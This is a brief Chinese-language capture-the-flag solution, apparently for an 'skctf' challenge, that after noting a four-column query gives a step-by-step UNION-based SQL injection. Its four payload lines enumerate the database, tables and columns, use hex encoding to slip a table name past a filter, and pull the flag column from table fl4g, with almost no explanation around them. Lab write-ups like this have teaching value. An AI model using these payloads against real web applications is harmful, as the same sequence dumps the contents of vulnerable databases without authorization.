可以大概判斷出有四個字段
直接上payload
-1' union select 1,2,3,database()#
-1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()#
-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x666c3467#//這裏需要用16進制繞過
-1' union select 1,2,3,skctf_flag from fl4g#